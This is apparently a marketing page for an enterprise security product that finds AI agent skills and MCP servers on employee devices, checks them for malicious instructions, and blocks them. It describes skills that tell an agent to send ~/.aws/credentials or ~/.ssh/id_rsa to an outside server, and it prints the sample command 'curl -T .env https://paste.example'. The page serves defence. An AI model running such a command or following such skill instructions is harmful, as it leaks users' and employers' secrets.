This website counts page views with Cloudflare Web Analytics, which sets no cookies and stores nothing on your device. If you choose Allow, embedded content such as Spotify podcast players also sets optional cookies. Choose Deny to turn off both. Cookie Notice
A skill can change what an agent does with your access.
Skills and MCP servers give an agent new instructions and tools, and the agent uses them with the employee's permissions.
A skill is a folder of instructions, usually a SKILL.md file with scripts, that tells an agent how to do a task. An MCP server is a program that gives the agent new tools, such as sending email. A malicious skill can tell the agent to read ~/.aws/credentials and send it to an outside server. An update can add the same instruction to a component your team has used for months.
Research from across the industry shows malicious components are already in public registries.
157
agent skills with confirmed malicious behavior, found among 98,380 skills in two public registries.
The registries removed all 157 after the researchers reported them.
Copies already installed stay on your devices after a registry takes a skill down.
Vet components first. Respond fast when one is reported.
Findings
Check skills before anyone trusts them
Supply Chain checks each skill on the device against open Supply Chain Agent Threat Rules (ATR) for prompt injection, credential theft, data exfiltration, and unsafe execution. A skill that tells the agent to post ~/.ssh/id_rsa to a URL is flagged with the rule it matched, shown by an ID like ATR-2026-01988.
Trust
New versions wait for a decision
New skills, plugins, and MCP servers start unreviewed. A new version of a trusted skill needs its own trust decision, unless you trust its publisher.
Search
Find every device that has it
When an advisory names a malicious skill or MCP server, search for it in Control Plane and see every device that has it.
Block
Block it once
Control Plane sends a skill or plugin block to each device that has it and shows the status: requested, applied, or unsupported.
How it works
Vet what's installed, then respond when a report comes in.
01 · Supply ChainCheck it
Push one package through your device management tool, such as Jamf, Iru, or Intune, and approve each device in Control Plane. Trust what your teams need and block what matches a critical rule.
02 · Supply ChainRespond to it
Search for a reported skill, block it, and follow its status on each device until the block is applied.
03 · Runtime, optionalStop it
Add Runtime to check agent actions before they run, such as curl -T .env https://paste.example, including ones a skill asks for before a rule matches it.
Supply Chain / FindingIllustrative data
Supply Chainseverity:critical rule:ATR-2026-01988
Sensitive file read, then sent out
SKILL.md lines 41 to 47
deploy-helper / v2.4.1
Personal skill · sha256:9f2c…41ab
12 devices
Claude Code 8 · Codex 3 · Cursor 1
Blocked by an administrator
Applied on 11 · New session needed on 1
In Control Plane
See where the block has landed.
Open a skill to see the rule it matched and the block status on each device.
Block status per device: requested, applied, or unsupported
Devices still running a session that loaded the skill
The matched Supply Chain ATR rule ID and its severity
Example deployment
What a response can look like.
Illustrative example
A 1,200-person SaaS company.
This company is fictional. The numbers come from a modelled fleet, not a customer.
A reported skill found on 23 of 1,200 devices in 6 minutes
Blocked on all 23 within 40 minutes
21 confirmed blocked, 2 flagged as waiting for a new Claude session
What it costs
Priced per device. Always predictable.
Supply Chain and Runtime are priced per device, alone or together, with free devices on every plan. Your bill depends on how many devices you cover, so heavier agent use doesn't change it, and finance can plan ahead.
Supply Chain lists every MCP server and every device that has one, so you know exactly where to act. Blocking a plugin stops the MCP server it brings from loading. A server someone added by hand is removed in the agent's own settings, since Supply Chain blocks skills and plugins. Add Runtime to check the tool calls agents make before they run.
How do we know a block has taken effect?
Control Plane shows the status on each device: requested, applied, or unsupported. A device whose running session already loaded the skill is flagged until a new session starts.
Does Supply Chain upload our skills to check them?
Your skills stay on your devices, because Supply Chain checks them where they sit. Control Plane receives each component's identity, hashes, findings, and coverage. Skill content, usernames, hostnames, file paths, and prompts stay on the device.
Modules used
Built on these modules.
Before trust
Supply Chain / InventoryIllustrative data
Supply Chaindevice:endpoint_4c19 trust:any⌘↵
3 agents14 components
Cursor
New agent found · Unreviewed
deploy-helper / v2.4.1
Critical finding · Blocked · Applied
ticket-tracker
Identified · Trusted
Supply Chain
Find every AI agent on every device. Check every skill it loads.
See which AI agents run on each device and which identities they can reach, check the skills they load, and block what you don't trust.
Reduce agent risk without slowing your teams down.
Start reducing agent risk before general release by checking agent components, controlling agent actions, and hunting through your AI security logs. Signals Corps Control Plane opens to early sign ups in the next few weeks, so join the waitlist with your company email.